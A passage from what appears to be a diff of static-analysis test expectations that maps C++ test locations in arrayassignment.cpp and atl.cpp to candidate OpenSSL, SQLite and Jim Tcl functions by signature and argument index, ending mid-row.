arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | pulldown_test_framework | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | tls1_alert_code | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | tls13_alert_code | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | wait_until_sock_readable | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | pulldown_test_framework | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | tls1_alert_code | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | tls13_alert_code | 0 | +| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:71:5:71:17 | _U_STRINGorID | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:71:5:71:17 | _U_STRINGorID | (unsigned int) | | ssl3_get_cipher | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Strsafe | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | Symbol_new | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | UI_create_method | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_path_end | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_progname | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | strhash | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:201:8:201:12 | GetAt | (size_t) | | test_get_argument | 0 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | test_get_argument | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | test_get_argument | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | test_get_argument | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | | atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_tag2str | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Jim_SignalId | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | PKCS12_init | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Symbol_Nth | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_tolower | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_toupper | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | pulldown_test_framework | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_errstr | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | tls1_alert_code | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | tls13_alert_code | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | wait_until_sock_readable | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | 